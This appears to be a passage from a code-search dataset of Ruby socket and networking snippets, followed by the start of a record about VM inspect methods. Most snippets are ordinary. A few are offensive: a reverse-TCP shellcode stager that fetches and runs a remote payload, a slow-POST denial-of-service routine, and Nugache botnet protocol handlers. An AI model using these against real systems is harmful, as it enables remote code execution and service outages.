0)\r\n rescue Exception => e\r\n socket.close\r\n err=IOError.new(\"Send failed to #{@server}:#{@port} from #{@src_addr}:#{@src_port}, use_tcp=#{use_tcp}, exception : #{e}\")\r\n TheLog.error(\"#{err}\")\r\n st.push_exception_to_select(client_query_id, client_queue, err, nil)\r\n return\r\n end\r\n \r\n # Then listen for the response\r\n query_settings = SelectThread::QuerySettings.new(query_bytes, query, @ignore_truncation, client_queue, client_query_id, socket, @server, @port, endtime, udp_packet_size, self)\r\n # The select thread will now wait for the response and send that or a timeout\r\n # back to the client_queue.\r\n st.add_to_select(query_settings)\r\n end",
"def send_buffer(verbose=false)\n if @message.length > 0\n self.transmit()\n send_length=@message.length\n send_start=Time.now()\n show=\"\"\n while @message.length > 0\n @m.synchronize do\n self.sendcmd(\"text.add_tx\",@message)\n @message=\"\"\n end\n waited=0\n max=@start_wait\n\n result=\"\"\n while waited<max\n waited=waited+1\n result=self.get_tx_data()\n if result.length > 0\n max=@char_wait\n waited=0\n show=show+result\n if verbose\n puts show\n end\n end\n sleep 1\n end\n end\n end\n self.receive()\n send_end=Time.now()\n puts \"#{send_length} characters sent in #{(send_end-send_start).to_i} seconds, #{((((send_length/(send_end.to_f-send_start.to_f))*10)+0.5).to_i)/10.to_f} chars/sec.\" if @debug\n return show\n end",
"def using_tcp?\n return (@transport == \"tcp\" || @transport == :tcp)\n end",
"def flush\n @socket.flush if @socket\n end",
"def cork_socket(socket); end",
"def send_packet()\n puts \"INFO: start to connecting to server\"\n begin \n @sock = TCPSocket.open(@@ip, @@port)\n rescue Exception => e\n\n puts \"ERROR: connection to server failed\"\n puts e.message\n puts e.backtrace.inspect\n return\n end\n \n puts \"Info: connection established \"\n begin\n xmlfile = File.new(\"#{@requestfile}\") \n if xmlfile\n puts \"open file : \" + \"#{@requestfile}\" + \" sucessfullly\"\n end\n rescue Exception => e\n puts \"ERROR: not existing request file: \" + \"#{@requestfile}\";\n puts e.message\n puts e.backtrace.inspect\n return\n end\n \n packet = \"\"\n while line = xmlfile.gets\n packet = packet + line.chomp \n end\n\n packet = packet + \"\\r\\n\"\n puts \"#{packet}\"\n\n @sock.write(packet)\n puts \"INFO: sending packet done\"\n end",
"def server_keepalive(client, body)\n client.var[:last_ping] = Time.now\n select_send(MSG_SERVER, EMPTY_ROOM, @keyring.default.iv,\n server_encrypt(\"keepalive\")) { |x| x == client }\nend",
"def send_pending_data\n needs_looping = true\n while needs_looping\n needs_looping = false\n pending_data.delete_if do |socket, chunks|\n if chunks.empty?\n # nothing left to send for this socket\n next\n end\n\n buffer = chunks.shift\n while !chunks.empty? && (buffer.size + chunks[0].size < DATA_CHUNK_SIZE)\n buffer.concat(chunks.shift)\n end\n Server.debug \"sending #{buffer.size} bytes to #{socket}\"\n\n begin\n written = socket.write_nonblock(buffer)\n rescue Interrupt\n raise\n rescue Errno::EAGAIN\n Server.debug \"cannot send: send buffer full\"\n chunks.unshift(buffer)\n next\n rescue Exception => e\n Server.warn \"disconnecting from #{socket}: #{e.message}\"\n e.backtrace.each do |line|\n Server.warn \" #{line}\"\n end\n socket.close\n next(true)\n end\n\n remaining = buffer.size - written\n if remaining == 0\n Server.debug \"wrote complete chunk of #{written} bytes to #{socket}\"\n # Loop if we wrote the complete chunk and there\n # is still stuff to write for this socket\n needs_looping = !chunks.empty?\n else\n Server.debug \"wrote partial chunk #{written} bytes instead of #{buffer.size} bytes to #{socket}\"\n chunks.unshift(buffer[written, remaining])\n end\n false\n end\n end\n end",
"def _reconn_prep()\n close_socket()\n if @parameters\n change_host()\n end\n @st.kill if @st # Kill ticker thread if any\n @rt.kill if @rt # Kill ticker thread if any\n @socket = nil\n end",
"def test_server_queues_slow_message_correctly\n puts \"test_server_queues_slow_message_correctly\"\n\n expects = []\n 10.times do\n expects << random_string\n pr = push(expects[-1])\n assert_equal(0, pr, \"expected 0, got #{pr}\")\n end\n\n # send 1 byte of slow string\n slow_s = random_string(2)\n header = slow_s.length\n client = tcp_socket()\n nbytes = client.send([header].pack(\"C1\"), 0)\n if nbytes != 1\n raise \"push: header write failed\"\n end\n\n client.send(slow_s[0], 0)\n\n 5.times do\n r = pop\n s = expects.pop\n assert_equal(s, r, \"expected #{s}, got #{r}\")\n end\n\n # send second byte of slow string, pop it\n client.send(slow_s[1], 0)\n r = pop\n assert_equal(slow_s, r, \"expected #{slow_s}, got #{r}\")\n\n 5.times do\n r = pop\n s = expects.pop\n assert_equal(s, r, \"expected #{s}, got #{r}\")\n end\n end",
"def gbn_server(filename, socket)\n ip, port = socket.remote_address.ip_unpack\n\n # Break file into an array of strings of length <= GBN_DATA_MAX_SIZE\n file = []\n File.open(filename) do |f|\n while !f.eof?\n file << f.read(GBN_DATA_MAX_SIZE)\n end\n end\n\n seq_base = 0\n seq_max = file.length - 1\n last_received = Time.now\n while true\n \n # Receive\n begin\n received = socket.recv_nonblock(4) # 32 bit number\n req_num = received.unpack(GBN_PACK_CLIENT).first\n last_received = Time.now\n if req_num > seq_base\n log_puts(ip, port, 1, \"Received ACK for #{req_num}/#{seq_max}; moving window up...\")\n seq_base = req_num\n else\n log_puts(ip, port, 1, \"Received ACK for #{req_num}/#{seq_max}; keeping window at #{seq_base}...\")\n end\n \n if seq_base == seq_max\n log_puts(ip, port, 0, 'Received ACK for EOF; closing socket...')\n break\n end\n rescue\n if Time.now - last_received > TIMEOUT\n log_puts(ip, port, 0, 'Timed out...')\n break\n end\n end\n\n # Send\n begin\n GBN_WINDOW_SIZE.times do |n|\n if (seq_send = seq_base + n) <= seq_max\n chunk = [seq_send, file[seq_send]].pack(GBN_PACK_SERVER)\n log_puts(ip, port, 2, \"Sending \\\"#{chunk}\\\"\")\n else # we're at the end, send the blank packet\n chunk = [seq_send, ''].pack(GBN_PACK_SERVER)\n log_puts(ip, port, 2, 'Sending EOF...')\n end\n socket.send(chunk, 0)\n end\n rescue\n # Do nothing\n end\n end\n socket.close\nend",
"def _post_connect()\n return unless (@connect_headers[:\"accept-version\"] && @connect_headers[:host]) # 1.0\n if @connection_frame.command == Stomp::CMD_ERROR\n @connection_frame.headers = _decodeHeaders(@connection_frame.headers)\n return\n end\n # We are CONNECTed\n cfh = @connection_frame.headers.symbolize_keys\n @protocol = cfh[:version]\n if @protocol\n # Should not happen, but check anyway\n raise Stomp::Error::UnsupportedProtocolError unless Stomp::SUPPORTED.index(@protocol)\n else # CONNECTed to a 1.0 server that does not return *any* 1.1 type headers\n @protocol = Stomp::SPL_10 # reset\n return\n end\n # Heartbeats\n return unless @connect_headers[:\"heart-beat\"]\n _init_heartbeats()\n end",
"def send_data(data)\n \n return nil if @connection.nil? or data.nil? or data.empty? \n \n begin\n @connection.send(data, 0)\n puts \"#{self.class} send to #{@tcp_ip}:#{@tcp_port} this: #{data.to_hex}\" if $debug\n rescue\n @connection = nil\n return nil\n end\n \n end",
"def reconnect\n @sock.close rescue nil\n sleep 1\n @sock = TCPSocket.open(@server, @port)\n sleep 1\n end",
"def connection_completed\n if REQUEST_PROTOCOL == 'https'\n start_tls\n end\n\n #Resets connection state\n flush_connection_state\n\n #Constructing request hash\n request_options = {}\n request_options[:request_method] = REQUEST_METHOD\n request_options[:request_protocol] = REQUEST_PROTOCOL\n request_options[:host] = HOST\n request_options[:url_path] = @options[:path]\n request_options[:query_params] = @options[:query_params]\n request_options[:request_body] = @options[:request_body]\n request_options[:oauth] = @options[:oauth]\n\n request = TwitterStreaming::HTTPRequest.new(request_options)\n\n request_string = request.to_string\n\n #Sending raw request data over socket\n send_data request_string\n end",
"def alive?; @keepalive; end",
"def rst?\n Capp::TCP_RST == flags & Capp::TCP_RST\n end",
"def send_message(data, flag, host, port)\n\t\tsocket = UDPSocket.new\n\t\tserialized = Marshal.dump(data)\n\t\tsocket.send serialized, flag, host, port\n\t\tsocket.close\n\t\tputs \"Sending #{data} to #{host}:#{port}\"\n\t\tsleep(0.025)\n\tend",
"def send msg\n rencoded = REncode.dump([msg]).pack('C*')\n #rencoded = [193, 196, 1, 139, 100, 97, 101, 109, 111, 110, 46, 105, 110, 102, 111, 192, 102].pack('C*')\n compressed = Zlib::Deflate.deflate(rencoded)\n raw = compressed.bytes\n\n # all commented out stuff is for version 4, which we do not yet support\n # Store length as a signed integer (using 4 bytes), network byte order\n # header = [raw.length].pack('N').bytes\n\n #every message begins with an ASCII 'D'\n # header.insert(0, 'D'.ord)\n\n # header_str = header.pack('C*')\n message_str = raw.pack('C*')\n\n # puts \"Writing header:\"\n # p header_str.bytes\n # puts\n # puts \"Writing message:\"\n # p rencoded.bytes\n # puts\n\n\n # @con.write(header_str)\n @con.write(message_str)\n @con.flush\n\n nil\n end",
"def prepare_tcp_server(host: T.unsafe(nil), port: T.unsafe(nil), adapter: T.unsafe(nil)); end",
"def socket; end",
"def socket; end",
"def socket; end",
"def socket; end",
"def socket; end",
"def initialize\n Socket.udp_server_loop(DISCOVERY_IP, Receiver::ONKYO_PORT) do |msg, src|\n src.reply \"ISCP\\x00\\x00\\x00\\x10\\x00\\x00\\x00&\\x01\\x00\\x00\\x00!1ECNTX-NR609/60128/DX/14DAE9E967C8\\x19\\r\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n puts msg\n end\n end",
"def write(message)\n @out_buffer << message\n n = @socket.send(@out_buffer, 0)\n # Chop what we already sent off the front of the buffer.\n @out_buffer.slice!(0...n)\n # Return whether we are done sending.\n return @out_buffer.size == 0\n end",
"def fin?\n Capp::TCP_FIN == flags & Capp::TCP_FIN\n end",
"def close\n begin\n super\n ensure\n if (!@plaintext_socket.closed?)\n @plaintext_socket.close\n end\n end\n end",
"def get_syn_probe(opts = {})\n tcp_syn_probe = get_tcp_packet()\n tcp_syn_probe.tcp_flags.syn=1\n tcp_syn_probe.tcp_win=14600\n tcp_syn_probe.tcp_options=\"MSS:1460,SACKOK,TS:3853;0,NOP,WS:5\"\n tcp_syn_probe.tcp_src = rand(64511)+1024\n tcp_syn_probe.tcp_seq = rand(2**32-10**9)+10**9\n tcp_syn_probe.tcp_dst = opts[:port].to_i if opts[:port]\n tcp_syn_probe.ip_daddr = opts[:ip] if opts[:ip]\n\n return tcp_syn_probe\n end",
"def reset_tcp_statistics\n super\n end",
"def handshaking(sn) \n sock = TCPSocket.new(sn.address.public_ip,sn.address.public_port)\n sn.socket = sock\n sock.node = sn\n res,datas = @protocol.connect(sock) \n unless @bandwidth_manager.nil?\n @bandwidth_manager.uploaded(datas[0],datas[1])\n @bandwidth_manager.downloaed(datas[2],datas[3])\n end\n\n if res\n sock\n else\n sock.close\n nil\n end\n end",
"def asm_reverse_tcp(opts={})\n # TODO: reliability is coming\n retry_count = opts[:retry_count]\n encoded_port = \"0x%.8x\" % [opts[:port].to_i, 2].pack(\"vn\").unpack(\"N\").first\n encoded_host = \"0x%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n seconds = (opts[:sleep_seconds] || 5.0)\n sleep_seconds = seconds.to_i\n sleep_nanoseconds = (seconds % 1 * 1000000000).to_i\n\n mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC\n\n if respond_to?(:generate_intermediate_stage)\n pay_mod = framework.payloads.create(self.refname)\n read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size\n elsif !module_info['Stage']['Payload'].empty?\n read_length = module_info['Stage']['Payload'].size\n else\n # If we don't know, at least use small instructions\n read_length = 0x0c00 + mprotect_flags\n end\n\n # I was bored on the train, ok?\n read_reg =\n if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags\n # We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking:\n # If the lower byte will be the same, just set the upper byte\n read_length = read_length / 0x100\n 'dh'\n elsif read_length < 0x100\n 'dl' # Also assembles in two bytes ^.^\n elsif read_length < 0x10000\n 'dx' # Shave a byte off of setting `edx`\n else\n 'edx' # Take five bytes :/\n end\n\n asm = %Q^\n push #{retry_count} ; retry counter\n pop esi\n create_socket:\n xor ebx, ebx\n mul ebx\n push ebx\n inc ebx\n push ebx\n push 0x2\n mov al, 0x66\n mov ecx, esp\n int 0x80 ; sys_socketcall (socket())\n xchg eax, edi ; store the socket in edi\n\n set_address:\n pop ebx ; set ebx back to zero\n push #{encoded_host}\n push #{encoded_port}\n mov ecx, esp\n\n try_connect:\n push 0x66\n pop eax\n push eax\n push ecx\n push edi\n mov ecx, esp\n inc ebx\n int 0x80 ; sys_socketcall (connect())\n test eax, eax\n jns mprotect\n\n handle_failure:\n dec esi\n jz failed\n push 0xa2\n pop eax\n push 0x#{sleep_nanoseconds.to_s(16)}\n push 0x#{sleep_seconds.to_s(16)}\n mov ebx, esp\n xor ecx, ecx\n int 0x80 ; sys_nanosleep\n test eax, eax\n jns create_socket\n jmp failed\n ^\n\n asm << asm_send_uuid if include_send_uuid\n\n asm << %Q^\n mprotect:\n mov dl, 0x#{mprotect_flags.to_s(16)}\n mov ecx, 0x1000\n mov ebx, esp\n shr ebx, 0xc\n shl ebx, 0xc\n mov al, 0x7d\n int 0x80 ; sys_mprotect\n test eax, eax\n js failed\n\n recv:\n pop ebx\n mov ecx, esp\n cdq\n mov #{read_reg}, 0x#{read_length.to_s(16)}\n mov al, 0x3\n int 0x80 ; sys_read (recv())\n test eax, eax\n js failed\n jmp ecx\n\n failed:\n mov eax, 0x1\n mov ebx, 0x1 ; set exit status to 1\n int 0x80 ; sys_exit\n ^\n\n asm\n end",
"def send_msg(msg, read_response=true)\n msg_to_send = msg.dup\n msg_to_send << @separator unless @separator.nil? || msg.end_with?(@separator)\n\n # This is an idempotent operation\n connect\n\n log(:debug, \"Sending #{msg_to_send.inspect}\")\n send_non_block(msg_to_send)\n \n if read_response\n resp = receive_non_block \n log(:debug, \"Got #{resp.inspect}\")\n resp\n end\n # Raised by some IO operations when reaching the end of file. Many IO methods exist in two forms,\n # one that returns nil when the end of file is reached, the other raises EOFError EOFError.\n # EOFError is a subclass of IOError.\n rescue EOFError => e\n log(:info, \"Server disconnected.\")\n self.disconnect\n raise e\n # \"Connection reset by peer\" is the TCP/IP equivalent of slamming the phone back on the hook.\n # It's more polite than merely not replying, leaving one hanging.\n # But it's not the FIN-ACK expected of the truly polite TCP/IP converseur.\n rescue Errno::ECONNRESET => e\n log(:info, 'Connection reset by peer.')\n self.disconnect\n raise e\n rescue Errno::EPIPE => e\n log(:info, 'Broken pipe.')\n self.disconnect\n raise e\n rescue Errno::ECONNREFUSED => e\n log(:info, 'Connection refused by peer.')\n self.disconnect\n raise e\n rescue Exception => e\n @socket.close if @socket && !@socket.closed?\n raise e\n end",
"def mssql_send_recv(req, timeout=15)\n\t\tsock.put(req)\n\n\t\t# Read the 8 byte header to get the length and status\n\t\t# Read the length to get the data\n\t\t# If the status is 0, read another header and more data\n\n\t\tdone = false\n\t\tresp = \"\"\n\n\t\twhile(not done)\n\t\t\thead = sock.get_once(8, timeout)\n\t\t\tif !(head and head.length == 8)\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\t# Is this the last buffer?\n\t\t\tif(head[1,1] == \"\\x01\")\n\t\t\t\tdone = true\n\t\t\tend\n\n\t\t\t# Grab this block's length\n\t\t\trlen = head[2,2].unpack('n')[0] - 8\n\n\t\t\twhile(rlen > 0)\n\t\t\t\tbuff = sock.get_once(rlen, timeout)\n\t\t\t\treturn if not buff\n\t\t\t\tresp << buff\n\t\t\t\trlen -= buff.length\n\t\t\tend\n\t\tend\n\n\t\tresp\n\tend",
"def send_recv(eiscp_packet)\n sock = TCPSocket.new @host, @port\n sock.puts eiscp_packet\n return Receiver.recv(sock, 0.5)\n end",
"def ack?\n Capp::TCP_ACK == flags & Capp::TCP_ACK\n end",
"def send_ping\n if @version.version > Bitcoin::Protocol::BIP0031_VERSION\n @latency_ms = LATENCY_MAX\n @ping_nonce = rand(0xffffffff)\n @ping_time = Time.now\n log.debug { \"<< ping (#{@ping_nonce})\" }\n send_data(Protocol.ping_pkt(@ping_nonce))\n else\n # set latency to 5 seconds, terrible but this version should be obsolete now\n @latency_ms = (5*1000) \n log.debug { \"<< ping\" }\n send_data(Protocol.ping_pkt)\n end\n end",
"def raw_send_recv(cmd, nsock = self.sock)\n nsock.put(cmd)\n nsock.get_once\n end",
"def send str\n\t puts \"RktDisplay: [delay: #{@send_buffer_delay}] #{str}\" if $verbose > 3\n\n # Add to sendbuffer if @send_buffer_delay > 0\n @send_buffer.push [Time.now.to_i + @send_buffer_delay, str] if @send_buffer_delay > 0\n\n # Send from sendbuffer\n begin\n if @send_buffer_delay > 0\n \t Protocol.write @c, (@send_buffer.shift)[1] if Time.now.to_i >= (@send_buffer.first)[0]\n \t else\n \t Protocol.write @c, str\n \t end\n \t false\n rescue Exception=>e\n true\n end\n \n\tend",
"def remote_keepalive(sender, body)\nend",
"def handle_server\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n if b1[16,32] == @aes_recv.key\n \t\t\t\t\treturn false unless b1[16,32] == @aes_recv.key\n \t\t\t\t\t@v = @aes_send.encrypt(\"1\\r\\n\")\n \t\t\t\t\tputs \"Session #{@id}: sending verify\" if @@debug\n \t\t\t\t\tsend_data @v\n \t\t\t\t\t@state = :recv_verify\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verify\" if @@debug\n if @data_buf.length >= 3\n b = @data_buf.slice!(0,3)\n \t\t\t\t\t# this isn't always true in the real Nugache traces, but without knowing the\n \t\t\t\t\t# underlying protocol, this is the best I can do\n if b == @v\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n \t\t\t\t\t@state = :connected\n else\n close_connection\n @data_suf = false\n end\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n b = @data_buf\n @data_buf = \"\"\n @data_suf = false\n # TODO: how are we going to handle partial bundles of data?\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n \t\t\tend",
"def send_pending\n if output.length > 0\n sent = send(output.to_s, 0)\n debug { \"sent #{sent} bytes\" }\n output.consume!(sent)\n return sent > 0\n else\n return false\n end\n end",
"def raw_send_recv(cmd, nsock = self.sock)\n nsock.put(cmd)\n res = nsock.get_once\n end",
"def server_connection_success\n LOGGER.info \"Successful connection to #{@remote.join(':')}\"\n @connected = true\n @server_side.send_data(@buffer_out)\n @buffer_out = ''\n end",
"def accept_connection(client)\n client.enable_nodelay if @optimize == true\n @delegate.call(client, @tls, @port, @app_id)\n end",
"def tcp(**opts, &callback)\n TCP.new(@reactor, progress: callback, **opts)\n end",
"def stream(socket); end",
"def handle_client\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n \t\t\t\t\tputs \"Session #{@id}: receiving hello\" if @@debug\n if @data_buf.length >= 2\n b = @data_buf.slice!(0,2)\n unless b.unpack(\"n\")[0] == 0x0002\n close_connection \n @data_suf = false\n end\n @state = :recv_key\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_key\n \t\t\t\t\tputs \"Session #{@id}: receiving key\" if @@debug\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n \t\t\t\t\tiv = b1[0,16]\n \t\t\t\t\tkey = b1[16,32]\n \t\t\t\t\t@aes_send = AESStream.new(key,iv)\n \t\t\t\t\t@aes_recv = AESStream.new(key,iv)\n \t\t\t\t\tb1[0,16] = OpenSSL::Random.random_bytes 16\n \t\t\t\t\tb = @bot.rsakey.public_encrypt(b1)\n \t\t\t\t\tsend_data b\n \t\t\t\t\t@state = :recv_verify\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verification\" if @@debug\n if @data_buf.length >= 3\n \t\t\t\t\tb = @data_buf.slice!(0,3)\n \t\t\t\t\tout = @aes_recv.decrypt(b)\n \t\t\t\t\treturn false unless out == \"1\\r\\n\"\n \t\t\t\t\tputs \"Session #{@id}: repeating verification\" if @@debug\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n send_data b\n \t\t\t\t\t@state = :connected\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n \t\t\t\t\tb = @data_buf\n @data_buf = \"\"\n @data_suf = false\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n end",
"def send_message(message) \n @SocketHandle = TCPSocket.open(@Host,@Port)\n @SocketHandle.puts message \n server_reply = @SocketHandle.gets \n\n server_reply \n end",
"def send_to_phone(ip_addr, data)\r\n\ts = TCPSocket.open(ip_addr, 5050)\r\n\ts.puts data\r\n\ts.close\r\nend",
"def forwarded_tcpip(session, channel, packet); end",
"def connection_completed\n ## start sending KEEP_ALIVE_MESSAGE\n puts 'sending keep_alive sending ...'\n EM::PeriodicTimer.new(KEEP_ALIVE_INTERVAL) { send_data KEEP_ALIVE_MESSAGE }\n end",
"def long_slow_post(host, rate_limit, keep_alive) \r\n\trequest = \"POST /\" + (Digest::MD5.hexdigest(srand.to_s)) + \" HTTP/1.1\\r\\n\";\r\n request += \"Host: #{$host}\\r\\n\"\r\n request += \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\\r\\n\"\r\n request += \"Keep-Alive: #{keep_alive}\\r\\n\"\r\n request += \"Content-Length: 1000000000\\r\\n\";\r\n request += \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\r\n request += \"Accept: *.*\\r\\n\";\r\n TCPSocket.open(host, 80) do |socket|\r\n\t\tsocket.write request\r\n\t\tloop {\r\n\t\t\tbegin \t\t\t\r\n\t\t\t\t# Writing one character to socket\r\n\t\t\t\tsocket.write \".\"\r\n\t\t\t\t# Printing request indicator to console\t\t\t\r\n\t\t\t\tprint '.'\r\n\t\t\t\t# Suspending this thread for 1 second to rate limit data sent to target\r\n\t\t\t\tsleep rate_limit\r\n\t\t\trescue\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\t}\t\r\n\tend\t\r\n\tsocket.close\r\nend",
"def edgeu(cmd)\n time = nil\n $lock.synchronize{\n time = $clock.to_i\n $network.update_cost($hostname, cmd[0], cmd[1].to_i, time)\n\n if $rt.has_key? cmd[0]\n $rt[cmd[0]][:cost] = cmd[1].to_i\n end\n } \n\n client = TCPSocket.open($local_ip, $nodesFile[cmd[0]][\"PORT\"])\n client.puts(\"EDGEU2 #{$hostname} #{cmd[1]} #{time}\") \n \nend",
"def reset_connection\n #close if \n @socket_server = nil\n connect\n end",
"def send_message(name,body,head={})\n message = DripDrop::Message.new(name,:body => body, :head => head).encoded\n if ZMQGEM == :rbzmq\n @socket.send name, ZMQ::SNDMORE\n @socket.send message\n else\n @socket.send_string name, ZMQ::SNDMORE\n @socket.send_string message\n end\n end",
"def write(data)\n begin\n @socket.sync = false\n if data.nil?\n write_timeout([0, 0, @seq].pack(\"CvC\"), @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n else\n data = StringIO.new data if data.is_a? String\n while d = data.read(MAX_PACKET_LENGTH)\n write_timeout([d.length%256, d.length/256, @seq].pack(\"CvC\")+d, @opts[:write_timeout])\n @seq = (@seq + 1) % 256\n end\n end\n @socket.sync = true\n @socket.flush\n rescue Errno::EPIPE\n @socket.close rescue nil\n raise ClientError::ServerGoneError, 'MySQL server has gone away'\n rescue Errno::ETIMEDOUT\n raise ClientError, \"write timeout\"\n end\n end",
"def read_packet; end",
"def recv_msg()\n\n debug = 1\n\n begin\n\n Timeout::timeout(@timeout_val){\n\n length = 0\n id = 0\n data = @socket.recv(4)\n\n # make sure we actually got something\n if data == nil then return nil end\n\n # how many more bytes we are to recv\n length += data.each_byte.to_a[0] * (2 ** 24)\n length += data.each_byte.to_a[1] * (2 ** 16)\n length += data.each_byte.to_a[2] * (2 ** 8)\n length += data.each_byte.to_a[3]\n\n additional_data = @socket.recv(length)\n\n # if you are not sending as much data as you advertise, we drop you\n if(additional_data.each_byte.to_a.length != length) then Thread.terminate end\n\n if(debug) then\n puts \"length of data to be recvd : #{length}\"\n puts \"length of data recv'd : #{additional_data.each_byte.to_a.length}\"\n end\n\n if(length != 0) then\n message_id = additional_data.each_byte.to_a[0]\n else\n message_id = -1\n end\n\n puts \"message starts\"\n\n new_message = Message.new(message_id, length, additional_data[1...additional_data.length])\n\n puts \"message end\"\n\n case message_id\n when @keep_alive_id\n puts \"I got a keep_alive id\"\n when @choke_id\n puts \"I got choke id\"\n when @unchoke_id\n puts \"I got unchoke_id\"\n when @interested_id\n puts \"I got interested_id\"\n when @not_interested_id\n puts \"I got not_interested_id\"\n when @have_id\n puts \"I got have_id\"\n when @bitfield_id\n puts new_message.payload().each_byte.to_a.length\n @bitfield.set_bitfield_with_bitmap(new_message.payload())\n puts \"I got bitfield_id\"\n when @request_id\n puts \"I got request_id\"\n when @piece_id\n puts \"I got piece_id\"\n when @cancel_id\n puts \"I got cancel_id\"\n when @port_id\n puts \"I got port_id\"\n else\n puts \"You gave me #{message_id} -- I have no idea what to do with that.\"\n end\n\n $stdout.flush\n\n }\n\n rescue\n #puts $!, $@\n return\n end\n\n end"
] |
[
"0.7306909",
"0.7205355",
"0.6943036",
"0.61867565",
"0.589238",
"0.58373284",
"0.57976645",
"0.5772798",
"0.5723468",
"0.5629482",
"0.5627005",
"0.5604623",
"0.5600186",
"0.5567009",
"0.55201966",
"0.542904",
"0.53926086",
"0.53926086",
"0.5392193",
"0.5371687",
"0.53661156",
"0.53609365",
"0.5358458",
"0.5340047",
"0.532009",
"0.5280972",
"0.52705055",
"0.5266261",
"0.52557206",
"0.5252569",
"0.52389467",
"0.5234936",
"0.52025795",
"0.5199931",
"0.5181093",
"0.51808375",
"0.51768684",
"0.5169618",
"0.5154234",
"0.51512945",
"0.51407546",
"0.51321924",
"0.5119482",
"0.5113212",
"0.5099784",
"0.5097738",
"0.5094595",
"0.50836754",
"0.5071041",
"0.5066948",
"0.50568736",
"0.5055038",
"0.50522447",
"0.5051145",
"0.5044884",
"0.504085",
"0.5034425",
"0.5014806",
"0.5013486",
"0.49996394",
"0.49796438",
"0.49796438",
"0.49796438",
"0.49796438",
"0.49796438",
"0.49786866",
"0.497861",
"0.4973911",
"0.49733743",
"0.4966137",
"0.49641305",
"0.4955218",
"0.4954885",
"0.49479306",
"0.49449462",
"0.49441501",
"0.4932219",
"0.4927831",
"0.49238634",
"0.4919231",
"0.49169534",
"0.49141628",
"0.49133587",
"0.49019518",
"0.48993844",
"0.48906422",
"0.48887962",
"0.48867148",
"0.48856053",
"0.48829916",
"0.48824227",
"0.48821846",
"0.48780918",
"0.48741868",
"0.4869887",
"0.4869315",
"0.48591438",
"0.4855845",
"0.48557472",
"0.48523328"
] |
0.6704016
|
3
|
Public Override inspect to display vm attributes
|
def inspect
state_provider = "[#{box_state} (#{provider})]"
"#{name.ljust(max_length)} #{state_provider.ljust(max_length)} [VM OS <-- #{guest_os}]"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def info()\n super(VM_METHODS[:info], 'VM')\n end",
"def info(decrypt = false)\n super(VM_METHODS[:info], 'VM', decrypt)\n end",
"def inspect\n vals = ATTRS.map { |field| \"#{field}: #{public_send(field).inspect}\" }\n \"#<#{self.class.name} #{vals.join(', ')}>\"\n end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() end",
"def inspect() \n print @obj_name\n print \" which is \"\n print @obj_attr\n print \" & \"\n puts @obj_secondattr\n end",
"def inspect_attributes\n %i[uuid name type slug status email]\n end",
"def print_attribute(*) end",
